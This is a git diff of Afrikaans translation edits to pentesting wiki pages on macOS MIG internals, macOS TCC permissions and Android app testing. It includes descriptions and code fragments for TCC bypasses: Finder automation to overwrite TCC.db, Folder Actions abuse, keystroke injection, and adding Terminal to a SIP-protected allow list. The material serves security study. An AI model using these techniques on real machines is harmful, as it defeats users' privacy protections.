Gebruik nou MIG om die bediener- en kliëntkode te genereer wat in staat sal wees om met mekaar te kommunikeer om die Subtract-funksie aan te roep:
Gebruik nou MIG om die bediener- en kliëntkode te genereer wat in staat sal wees om met mekaar te kommunikeer om die Aftrek-funksie aan te roep:
```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
@ -108,14 +108,14 @@ In hierdie voorbeeld het ons slegs 1 funksie in die definisies gedefinieer, maar
As die funksie verwag is om 'n **antwoord** te stuur, sou die funksie `mig_internal kern_return_t __MIG_check__Reply__<name>` ook bestaan het.
Werklik is dit moontlik om hierdie verhouding in die struktuur **`subsystem_to_name_map_myipc`** van **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* in ander lêers):
Werklik is dit moontlik om hierdie verhouding in die struktuur **`subsystem_to_name_map_myipc`** van **`myipcServer.h`** (**`subsystem*to_name_map*\***`** in ander lêers) te identifiseer:
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
{ "Subtract", 500 }
#endif
```
Uiteindelik, 'n ander belangrike funksie om die bediener te laat werk sal **`myipc_server`** wees, wat die een is wat werklik die **funksie** wat verband hou met die ontvangde id sal **aanroep**:
Uiteindelik, 'n ander belangrike funksie om die bediener te laat werk sal wees **`myipc_server`**, wat die een is wat werklik die **funksie** wat verband hou met die ontvangde id sal **aanroep**:
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@ -229,7 +229,7 @@ En **MIG-kliënte** sal die `__NDR_record` gebruik om met `__mach_msg` na die be
### jtool
Aangesien baie binêre nou MIG gebruik om mach-poorte bloot te stel, is dit interessant om te weet hoe om **te identifiseer dat MIG gebruik is** en die **funksies wat MIG met elke boodskap-ID uitvoer**.
Aangesien baie binêre nou MIG gebruik om mach-poorte bloot te stel, is dit interessant om te weet hoe om **te identifiseer dat MIG gebruik is** en die **funksies wat MIG uitvoer** met elke boodskap-ID.
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) kan MIG-inligting uit 'n Mach-O binêre ontleed wat die boodskap-ID aandui en die funksie identifiseer wat uitgevoer moet word:
```bash
@ -241,7 +241,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
```
### Assembly
Daar is voorheen genoem dat die funksie wat **die korrekte funksie sal aanroep afhangende van die ontvangde boodskap ID** `myipc_server` was. Dit is egter gewoonlik dat jy nie die simbole van die binêre (geen funksie name) sal hê nie, so dit is interessant om **te kyk hoe dit dekompilerend lyk** aangesien dit altyd baie soortgelyk sal wees (die kode van hierdie funksie is onafhanklik van die funksies wat blootgestel word):
Daar is voorheen genoem dat die funksie wat **die korrekte funksie sal aanroep afhangende van die ontvangde boodskap-ID** `myipc_server` was. Dit is egter gewoonlik dat jy nie die simbole van die binêre (geen funksiename) sal hê nie, so dit is interessant om **te kyk hoe dit dekompilleer lyk** aangesien dit altyd baie soortgelyk sal wees (die kode van hierdie funksie is onafhanklik van die funksies wat blootgestel word):
{{#tabs}}
{{#tab name="myipc_server decompiled 1"}}
@ -259,9 +259,9 @@ var_18 = arg1;
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// Aanroep na sign_extend_64 wat kan help om hierdie funksie te identifiseer
// Dit stoor in rax die aanwyser na die oproep wat gemaak moet word
// Kontroleer die gebruik van die adres 0x100004040 (funksies aanwysers array)
// 0x1f4 = 500 (die begin ID)
// Dit stoor in rax die aanwyser na die oproep wat aangeroep moet word
// Kontroleer die gebruik van die adres 0x100004040 (funksies se adresse array)
// 0x1f4 = 500 (die begin-ID)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
// As - anders, die as keer vals terug, terwyl die anders die korrekte funksie aanroep en waarborg waar
@ -289,7 +289,7 @@ return rax;
{{#endtab}}
{{#tab name="myipc_server decompiled 2"}}
Dit is dieselfde funksie dekompilerend in 'n ander Hopper gratis weergawe:
Dit is dieselfde funksie dekompilleer in 'n ander Hopper gratis weergawe:
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40;
@ -321,7 +321,7 @@ r8 = 0x1;
}
if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500 (die begin ID)
// 0x1f4 = 500 (die begin-ID)
<strong> r8 = r8 - 0x1f4;
</strong> asm { smaddl x8, w8, w9, x10 };
r8 = *(r8 + 0x8);
@ -333,7 +333,7 @@ r8 = 0x1;
}
}
// Dieselfde as - anders soos in die vorige weergawe
// Kontroleer die gebruik van die adres 0x100004040 (funksies aanwysers array)
// Kontroleer die gebruik van die adres 0x100004040 (funksies se adresse array)
<strong> if ((r8 & 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
@ -371,7 +371,7 @@ As jy eintlik na die funksie **`0x100004000`** gaan, sal jy die array van **`rou
<figure><img src="../../../../images/image (36).png" alt=""><figcaption></figcaption></figure>
Hierdie data kan [**met hierdie Hopper skrip**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) onttrek word.
Hierdie data kan [**gebruik word om hierdie Hopper-skrip**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) te onttrek.
### Debug

View File

@ -4,15 +4,15 @@
## **Basiese Inligting**
**TCC (Deursigtigheid, Toestemming, en Beheer)** is 'n sekuriteitsprotokol wat fokus op die regulering van toepassings se toestemmings. Sy primêre rol is om sensitiewe funksies soos **liggingsdienste, kontakte, foto's, mikrofoon, kamera, toeganklikheid, en volle skyf toegang** te beskerm. Deur eksplisiete gebruikers toestemming te vereis voordat toegang aan toepassings tot hierdie elemente gegee word, verbeter TCC privaatheid en gebruikersbeheer oor hul data.
**TCC (Deursigtigheid, Toestemming, en Beheer)** is 'n sekuriteitsprotokol wat fokus op die regulering van toepassings se toestemmings. Sy primêre rol is om sensitiewe funksies soos **liggingsdienste, kontakte, foto's, mikrofoon, kamera, toeganklikheid, en volle skyftoegang** te beskerm. Deur eksplisiete gebruikers toestemming te vereis voordat toegang aan toepassings tot hierdie elemente gegee word, verbeter TCC privaatheid en gebruikersbeheer oor hul data.
Gebruikers teëkom TCC wanneer toepassings toegang tot beskermde funksies versoek. Dit is sigbaar deur 'n prompt wat gebruikers toelaat om **toegang goed te keur of te weier**. Verder, TCC akkommodeer direkte gebruikers aksies, soos **slepen en laat val van lêers in 'n toepassing**, om toegang tot spesifieke lêers te verleen, wat verseker dat toepassings slegs toegang het tot wat eksplisiet toegelaat word.
Gebruikers teëkom TCC wanneer toepassings toegang tot beskermde funksies versoek. Dit is sigbaar deur 'n prompt wat gebruikers toelaat om **toegang goed te keur of te weier**. Verder akkommodeer TCC direkte gebruikers aksies, soos **slepen en laat val van lêers in 'n toepassing**, om toegang tot spesifieke lêers te verleen, wat verseker dat toepassings slegs toegang het tot wat eksplisiet toegelaat word.
!['n Voorbeeld van 'n TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC** word hanteer deur die **daemon** geleë in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` en geconfigureer in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (wat die mach diens `com.apple.tccd.system` registreer).
Daar is 'n **gebruikermodus tccd** wat per ingelogde gebruiker loop, gedefinieer in `/System/Library/LaunchAgents/com.apple.tccd.plist` wat die mach dienste `com.apple.tccd` en `com.apple.usernotifications.delegate.com.apple.tccd` registreer.
Daar is 'n **gebruikermodus tccd** wat per ingelogde gebruiker loop, gedefinieer in `/System/Library/LaunchAgents/com.apple.tccd.plist`, wat die mach dienste `com.apple.tccd` en `com.apple.usernotifications.delegate.com.apple.tccd` registreer.
Hier kan jy die tccd sien wat as stelsel en as gebruiker loop:
```bash
@ -20,25 +20,25 @@ ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
```
Permissies word **geërf van die ouer** toepassing en die **permissies** word **gevolg** op grond van die **Bundle ID** en die **Developer ID**.
Permissions word **geërf van die ouer** toepassing en die **toestemmings** word **gevolg** op grond van die **Bundle ID** en die **Developer ID**.
### TCC Databasas
### TCC Databases
Die toelaes/weiering word dan in sommige TCC databasas gestoor:
Die toestemmings/ontkennings word dan in sommige TCC-databasisse gestoor:
- Die stelselswye databasis in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
- Hierdie databasis is **SIP beskerm**, so slegs 'n SIP omseiling kan daarin skryf.
- Die gebruiker TCC databasis **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** vir per-gebruiker voorkeure.
- Hierdie databasis is beskerm, so slegs prosesse met hoë TCC voorregte soos Volledige Skyf Toegang kan daarin skryf (maar dit is nie deur SIP beskerm nie).
- Hierdie databasis is beskerm, so slegs prosesse met hoë TCC bevoegdhede soos Volledige Skyf Toegang kan daarin skryf (maar dit is nie deur SIP beskerm nie).
> [!WARNING]
> Die vorige databasas is ook **TCC beskerm vir lees toegang**. So jy **sal nie in staat wees om te lees** jou gewone gebruiker TCC databasis tensy dit van 'n TCC voorregte proses is.
> Die vorige databasisse is ook **TCC beskerm vir lees toegang**. So jy **sal nie in staat wees om** jou gewone gebruiker TCC databasis te lees tensy dit van 'n TCC bevoegde proses is.
>
> Onthou egter dat 'n proses met hierdie hoë voorregte (soos **FDA** of **`kTCCServiceEndpointSecurityClient`**) in staat sal wees om in die gebruikers TCC databasis te skryf.
> Onthou egter dat 'n proses met hierdie hoë bevoegdhede (soos **FDA** of **`kTCCServiceEndpointSecurityClient`**) in staat sal wees om in die gebruikers TCC databasis te skryf.
- Daar is 'n **derde** TCC databasis in **`/var/db/locationd/clients.plist`** om kliënte aan te dui wat toegelaat word om **toegang tot ligging dienste** te hê.
- Die SIP beskermde lêer **`/Users/carlospolop/Downloads/REG.db`** (ook beskerm teen lees toegang met TCC), bevat die **ligging** van al die **geldige TCC databasas**.
- Die SIP beskermde lêer **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (ook beskerm teen lees toegang met TCC), bevat meer TCC toegewyde permissies.
- Daar is 'n **derde** TCC databasis in **`/var/db/locationd/clients.plist`** om kliënte aan te dui wat toegelaat word om **toegang tot liggingdienste** te hê.
- Die SIP beskermde lêer **`/Users/carlospolop/Downloads/REG.db`** (ook beskerm teen lees toegang met TCC), bevat die **ligging** van al die **geldige TCC databasisse**.
- Die SIP beskermde lêer **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (ook beskerm teen lees toegang met TCC), bevat meer TCC toegewyde toestemmings.
- Die SIP beskermde lêer **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (maar leesbaar deur enige iemand) is 'n toelaat lys van toepassings wat 'n TCC uitsondering vereis.
> [!TIP]
@ -54,9 +54,9 @@ Die toelaes/weiering word dan in sommige TCC databasas gestoor:
> com.apple.rootless.storage.TCC
> ```
>
> Onthou egter dat gebruikers **kan verwyder of vra reëls** met die **`tccutil`** opdraglyn nut.
> Onthou egter dat gebruikers **reëls kan verwyder of navraag doen** met die **`tccutil`** opdraglyn nut.
#### Vra die databasas
#### Navraag oor die databasisse
{{#tabs}}
{{#tab name="user DB"}}
@ -78,7 +78,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
```
{{#endtab}}
{{#tab name="stelsel DB"}}
{{#tab name="system DB"}}
```bash
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{{#endtabs}}
> [!TIP]
> Deur beide databasisse te kontroleer, kan jy die toestemmings wat 'n toepassing toegelaat het, verbied het, of nie het nie (dit sal daarna vra).
> Deur beide databasisse te kontroleer, kan jy die toestemmings wat 'n app toegelaat het, verbied het, of nie het nie (dit sal daarna vra).
- Die **`service`** is die TCC **toestemming** string voorstelling
- Die **`client`** is die **bundel ID** of **pad na binêre** met die toestemmings
@ -153,7 +153,7 @@ Doen net **`launctl load you_bin.plist`**, met 'n plist soos:
- Die **`auth_value`** kan verskillende waardes hê: denied(0), unknown(1), allowed(2), of limited(3).
- Die **`auth_reason`** kan die volgende waardes neem: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
- Die **csreq** veld is daar om aan te dui hoe om die binêre te verifieer om uit te voer en die TCC-toestemmings te verleen:
- Die **csreq** veld is daar om aan te dui hoe om die binêre te verifieer om uit te voer en die TCC-toestemmings toe te ken:
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
@ -174,7 +174,7 @@ echo "X'$REQ_HEX'"
Jy kan ook **reeds gegee toestemmings** aan toepassings in `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` nagaan.
> [!TIP]
> Gebruikers _kan_ **reëls verwyder of navraag doen** met **`tccutil`** .
> Gebruikers _kan_ **reëls verwyder of navraag doen** met **`tccutil`**.
#### Stel TCC-toestemmings terug
```bash
@ -203,8 +203,8 @@ csreq -t -r /tmp/telegram_csreq.bin
### Regte & TCC Toestemmings
Toepassings **moet nie net** **aansoek doen** en **toegang gegee** wees tot sommige hulpbronne nie, hulle moet ook **die relevante regte hê**.\
Byvoorbeeld **Telegram** het die reg `com.apple.security.device.camera` om **toegang tot die kamera** te vra. 'n **toepassing** wat **nie** hierdie **reg het nie, sal nie** toegang tot die kamera kan verkry (en die gebruiker sal nie eens vir die toestemmings gevra word nie).
Toepassings **hoef nie net** te **versoek** en het **toegang gegee** tot sommige hulpbronne nie, hulle moet ook **die relevante regte hê**.\
Byvoorbeeld **Telegram** het die reg `com.apple.security.device.camera` om **toegang tot die kamera** te versoek. 'n **toepassing** wat **nie** hierdie **reg het nie, sal nie in staat wees** om toegang tot die kamera te verkry (en die gebruiker sal nie eens vir die toestemmings gevra word nie).
However, vir toepassings om **toegang** tot **sekere gebruikersmappies** te hê, soos `~/Desktop`, `~/Downloads` en `~/Documents`, hoef hulle **nie** enige spesifieke **regte te hê nie.** Die stelsel sal toegang deursigtig hanteer en **die gebruiker** soos nodig vra.
@ -232,9 +232,9 @@ Sommige TCC-toestemmings is: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCSe
- $HOME/.ssh, $HOME/.aws, ens.
- /tmp
### Gebruiker se Intent / com.apple.macl
### Gebruiker Intentie / com.apple.macl
Soos vroeër genoem, is dit moontlik om **toegang aan 'n App tot 'n lêer te verleen deur dit te sleep en te laat val**. Hierdie toegang sal nie in enige TCC-databasis gespesifiseer word nie, maar as 'n **uitgebreide** **attribuut van die lêer**. Hierdie attribuut sal die **UUID** van die toegelate app **stoor**:
Soos vroeër genoem, is dit moontlik om **toegang aan 'n App tot 'n lêer te verleen deur dit te sleep en te laat val**. Hierdie toegang sal nie in enige TCC-databasis gespesifiseer word nie, maar as 'n **verlengde** **attribuut van die lêer**. Hierdie attribuut sal die **UUID** van die toegelate app **stoor**:
```bash
xattr Desktop/private.txt
com.apple.macl
@ -252,9 +252,9 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
> [!NOTE]
> Dit is nuuskierig dat die **`com.apple.macl`** attribuut bestuur word deur die **Sandbox**, nie tccd nie.
>
> Let ook daarop dat as jy 'n lêer wat die UUID van 'n toepassing op jou rekenaar toelaat, na 'n ander rekenaar skuif, omdat dieselfde toepassing verskillende UIDs sal hê, dit nie toegang tot daardie toepassing sal verleen nie.
> Let ook daarop dat as jy 'n lêer wat die UUID van 'n toepassing op jou rekenaar toelaat, na 'n ander rekenaar skuif, omdat dieselfde toepassing verskillende UIDs sal hê, dit nie toegang aan daardie toepassing sal verleen nie.
Die uitgebreide attribuut `com.apple.macl` **kan nie verwyder** word soos ander uitgebreide attribuut nie omdat dit **beskerm word deur SIP**. Dit is egter moontlik om dit te deaktiveer **deur die lêer te zip,** **dit te verwyder** en **dit te unzip.**
Die uitgebreide attribuut `com.apple.macl` **kan nie verwyder** word nie soos ander uitgebreide attribuut omdat dit **beskerm word deur SIP**. Dit is egter moontlik om dit te deaktiveer **deur die lêer te zip**, **dit te verwyder** en **dit weer te unzip** soos [**in hierdie pos verduidelik**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/).
## TCC Privesc & Bypasses
@ -308,7 +308,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
### TCC Payloads
As jy daarin geslaag het om in 'n app met sommige TCC-toestemmings te kom, kyk na die volgende bladsy met TCC payloads om dit te misbruik:
As jy daarin geslaag het om in 'n app met 'n paar TCC-toestemmings te kom, kyk na die volgende bladsy met TCC payloads om dit te misbruik:
{{#ref}}
macos-tcc-payloads.md
@ -361,16 +361,16 @@ EOD
Jy kan dit misbruik om **jou eie gebruiker TCC databasis te skryf**.
> [!WARNING]
> Met hierdie toestemming sal jy in staat wees om **Finder te vra om toegang tot TCC-beperkte vouers** te verkry en jou die lêers te gee, maar sover ek weet, sal jy **nie in staat wees om Finder te laat uitvoer nie** willekeurige kode om sy FDA-toegang ten volle te misbruik.
> Met hierdie toestemming sal jy in staat wees om **Finder te vra om toegang tot TCC-beperkte vouers** te verkry en jou die lêers te gee, maar sover ek weet, **sal jy nie in staat wees om Finder te laat uitvoer van willekeurige kode** om sy FDA-toegang ten volle te misbruik nie.
>
> Daarom sal jy nie in staat wees om die volle FDA vermoëns te misbruik nie.
Dit is die TCC-prompt om outomatiseringsregte oor Finder te verkry:
Dit is die TCC-prompt om outomatiseringsprivileges oor Finder te verkry:
<figure><img src="../../../../images/image (27).png" alt="" width="244"><figcaption></figcaption></figure>
> [!CAUTION]
> Let daarop dat omdat die **Automator** app die TCC-toestemming **`kTCCServiceAppleEvents`** het, dit **enige app** kan **beheer**, soos Finder. So om die toestemming te hê om Automator te beheer, kan jy ook die **Finder** met 'n kode soos die een hieronder beheer:
> Let daarop dat omdat die **Automator** app die TCC-toestemming **`kTCCServiceAppleEvents`** het, dit **enige app** kan **beheer**, soos Finder. So deur die toestemming om Automator te beheer, kan jy ook die **Finder** met 'n kode soos die een hieronder beheer:
<details>
@ -400,7 +400,7 @@ Die selfde gebeur met die **Script Editor app,** dit kan Finder beheer, maar met
### Outomatisering (SE) na sommige TCC
**Sisteemgebeurtenisse kan Folder Actions skep, en Folder actions kan toegang hê tot sommige TCC-gidse** (Bureaublad, Dokumente & Aflaaie), so 'n script soos die volgende kan gebruik word om hierdie gedrag te misbruik:
**Sisteemgebeurtenisse kan Folder Actions skep, en Folder actions kan toegang tot sommige TCC-mappe hê** (Bureaublad, Dokumente & Aflaaie), so 'n script soos die volgende kan gebruik word om hierdie gedrag te misbruik:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
@ -444,7 +444,7 @@ rm "$HOME/Desktop/file"
```
### Outomatisering (SE) + Toeganklikheid (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** na FDA\*
Outomatisering op **`System Events`** + Toeganklikheid (**`kTCCServicePostEvent`**) maak dit moontlik om **toetsaanslagen na prosesse** te stuur. Op hierdie manier kan jy Finder misbruik om die gebruikers se TCC.db te verander of om FDA aan 'n arbitrêre toepassing te gee (alhoewel 'n wagwoord hiervoor gevra mag word).
Outomatisering op **`System Events`** + Toeganklikheid (**`kTCCServicePostEvent`**) maak dit moontlik om **toetsdrukke na prosesse** te stuur. Op hierdie manier kan jy Finder misbruik om die gebruikers se TCC.db te verander of om FDA aan 'n arbitrêre app te gee (alhoewel 'n wagwoord dalk hiervoor gevra kan word).
Finder wat gebruikers se TCC.db oorskryf voorbeeld:
```applescript
@ -494,7 +494,7 @@ EOF
```
### `kTCCServiceAccessibility` na FDA\*
Kyk na hierdie bladsy vir sommige [**payloads om die Toeganklikheid toestemmings te misbruik**](macos-tcc-payloads.md#accessibility) om privesc na FDA\* of om 'n keylogger te laat loop byvoorbeeld.
Kyk hierdie bladsy vir [**payloads om die Toeganklikheid toestemmings te misbruik**](macos-tcc-payloads.md#accessibility) om privesc na FDA\* of om 'n keylogger te loop byvoorbeeld.
### **Eindpunt Sekuriteit Kliënt na FDA**
@ -506,26 +506,26 @@ As jy **`kTCCServiceEndpointSecurityClient`** het, het jy FDA. Einde.
### Gebruiker TCC DB na FDA
Deur **skryftoestemmings** oor die **gebruikers TCC** databasis te verkry, kan jy \*\*nie\*\* jouself **`FDA`** toestemmings gee nie, slegs diegene wat in die stelseldatabasis woon, kan dit toeken.
Deur **skryftoestemmings** oor die **gebruiker TCC** databasis te verkry, kan jy **nie** vir jouself **`FDA`** toestemmings gee nie, slegs diegene wat in die stelseldatabasis woon, kan dit toeken.
Maar jy kan **kan** jouself **`Automatisering regte aan Finder`** gee, en die vorige tegniek misbruik om na FDA\* te eskaleer.
Maar jy kan vir jouself **`Outomatisering regte na Finder`** gee, en die vorige tegniek misbruik om na FDA\* te eskaleer.
### **FDA na TCC toestemmings**
**Volledige Skyf Toegang** is TCC naam is **`kTCCServiceSystemPolicyAllFiles`**
**Volledige Skyf Toegang** is TCC se naam is **`kTCCServiceSystemPolicyAllFiles`**
Ek dink nie dit is 'n werklike privesc nie, maar net ingeval jy dit nuttig vind: As jy 'n program met FDA beheer, kan jy **die gebruikers TCC databasis wysig en jouself enige toegang gee**. Dit kan nuttig wees as 'n volhardingstegniek ingeval jy jou FDA toestemmings mag verloor.
Ek dink nie dit is 'n werklike privesc nie, maar net ingeval jy dit nuttig vind: As jy 'n program met FDA beheer, kan jy **die gebruikers TCC databasis wysig en vir jouself enige toegang gee**. Dit kan nuttig wees as 'n volhardingstegniek ingeval jy jou FDA toestemmings mag verloor.
### **SIP Omseiling na TCC Omseiling**
Die stelsel **TCC databasis** is beskerm deur **SIP**, daarom kan slegs prosesse met die **aangegewe regte dit wysig**. Daarom, as 'n aanvaller 'n **SIP omseiling** oor 'n **lêer** vind (in staat om 'n lêer wat deur SIP beperk is te wysig), sal hy in staat wees om:
- **Die beskerming** van 'n TCC databasis te verwyder, en jouself al die TCC toestemmings te gee. Hy kan enige van hierdie lêers misbruik byvoorbeeld:
- **Die beskerming** van 'n TCC databasis te verwyder, en vir homself al die TCC toestemmings te gee. Hy kan enige van hierdie lêers misbruik byvoorbeeld:
- Die TCC stelseldatabasis
- REG.db
- MDMOverrides.plist
Daar is egter 'n ander opsie om hierdie **SIP omseiling te misbruik om TCC te omseil**, die lêer `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` is 'n toelaat lys van toepassings wat 'n TCC uitsondering vereis. Daarom, as 'n aanvaller die **SIP beskerming** van hierdie lêer kan **verwyder** en sy **eie toepassing** kan byvoeg, sal die toepassing in staat wees om TCC te omseil.\
Daar is egter 'n ander opsie om hierdie **SIP omseiling te misbruik om TCC te omseil**, die lêer `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` is 'n toelaatlys van toepassings wat 'n TCC uitsondering vereis. Daarom, as 'n aanvaller die **SIP beskerming** van hierdie lêer kan **verwyder** en sy **eie toepassing** kan byvoeg, sal die toepassing in staat wees om TCC te omseil.\
Byvoorbeeld om terminal toe te voeg:
```bash
# Get needed info
@ -560,7 +560,7 @@ AllowApplicationsList.plist:
macos-tcc-bypasses/
{{#endref}}
## Verwysings
## References
- [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
- [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)

View File

@ -4,7 +4,7 @@
## Android Toepassings Basiese Beginsels
Dit word sterk aanbeveel om hierdie bladsy te begin lees om te weet oor die **belangrikste dele wat verband hou met Android-sekuriteit en die gevaarlikste komponente in 'n Android-toepassing**:
Dit word sterk aanbeveel om hierdie bladsy te begin lees om meer te weet oor die **belangrikste dele wat verband hou met Android-sekuriteit en die gevaarlikste komponente in 'n Android-toepassing**:
{{#ref}}
android-applications-basics.md
@ -12,15 +12,15 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Dit is die hoofgereedskap wat jy nodig het om met 'n Android-toestel (geëmuleer of fisies) te verbind.\
**ADB** stel jou in staat om toestelle te beheer, hetsy oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut kan die **kopieer** van lêers in beide rigtings, **installasie** en **verwydering** van toepassings, **uitvoering** van skulpopdragte, **rugsteun** van data, **lees** van logs, onder andere funksies, moontlik maak.
Dit is die hoofgereedskap wat jy nodig het om met 'n android toestel (geëmuleer of fisies) te verbind.\
**ADB** stel jou in staat om toestelle te beheer, hetsy oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut is in staat om **lêers** in beide rigtings te **kopieer**, **toepassings** te **installeer** en **verwyder**, **skulpopdragte** uit te voer, **data** te **rugsteun**, **logs** te **lees**, onder andere funksies.
Kyk na die volgende lys van [**ADB Opdragte**](adb-commands.md) om te leer hoe om adb te gebruik.
## Smali
Soms is dit interessant om die **toepassingkode** te **wysig** om toegang te verkry tot **verborge inligting** (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer te kompileren.\
[**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK** met die nuwe funksionaliteit te kompileren](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat gaan aangebied word. Dan, **hou altyd hierdie moontlikheid in gedagte**.
Soms is dit interessant om die **toepassingkode** te **wysig** om toegang te verkry tot **verborge inligting** (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer te compileer.\
[**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK** met die nuwe funksionaliteit **weer te compileer**](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat gaan aangebied word. Dan, **hou altyd hierdie moontlikheid in gedagte**.
## Ander interessante truuks
@ -36,7 +36,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- Kombineer alle splits en basis apk's met [APKEditor](https://github.com/REAndroid/APKEditor):
- Kombineer alle splits en basis apks met [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -52,7 +52,7 @@ Asseblief, [**lees hier om inligting oor verskillende beskikbare decompilers te
### Soek na interessante Inligting
Net deur na die **strings** van die APK te kyk, kan jy soek na **wagwoorde**, **URL's** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** sleutels, **versleuteling**, **bluetooth uuids**, **tokens** en enigiets interessant... kyk selfs vir kode-uitvoering **backdoors** of verifikasie backdoors (hardcoded admin akrediteer inligting vir die app).
Net deur na die **strings** van die APK te kyk, kan jy soek na **wagwoorde**, **URL's** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** sleutels, **versleuteling**, **bluetooth uuids**, **tokens** en enigiets interessant... kyk selfs vir kode-uitvoering **backdoors** of verifikasie backdoors (hardcoded admin akrediteer in die app).
**Firebase**
@ -60,24 +60,24 @@ Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer is.
### Basiese begrip van die toepassing - Manifest.xml, strings.xml
Die **ondersoek van 'n toepassing se \_Manifest.xml**_\*\* en \*\*_**strings.xml**\_\*\* lêers kan potensiële sekuriteitskwesbaarhede onthul\*\*. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêernaam te hernoem na .zip en dit dan uit te pak.
Die **ondersoek van 'n toepassing se _Manifest.xml_ en **_strings.xml_** lêers kan potensiële sekuriteitskwesies onthul**. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêernaamuitbreiding na .zip te hernoem en dit dan uit te pak.
**Kwesbaarhede** wat in die **Manifest.xml** geïdentifiseer is, sluit in:
**Kwessies** wat in die **Manifest.xml** geïdentifiseer is, sluit in:
- **Debugbare Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel.
- **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde databack-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is.
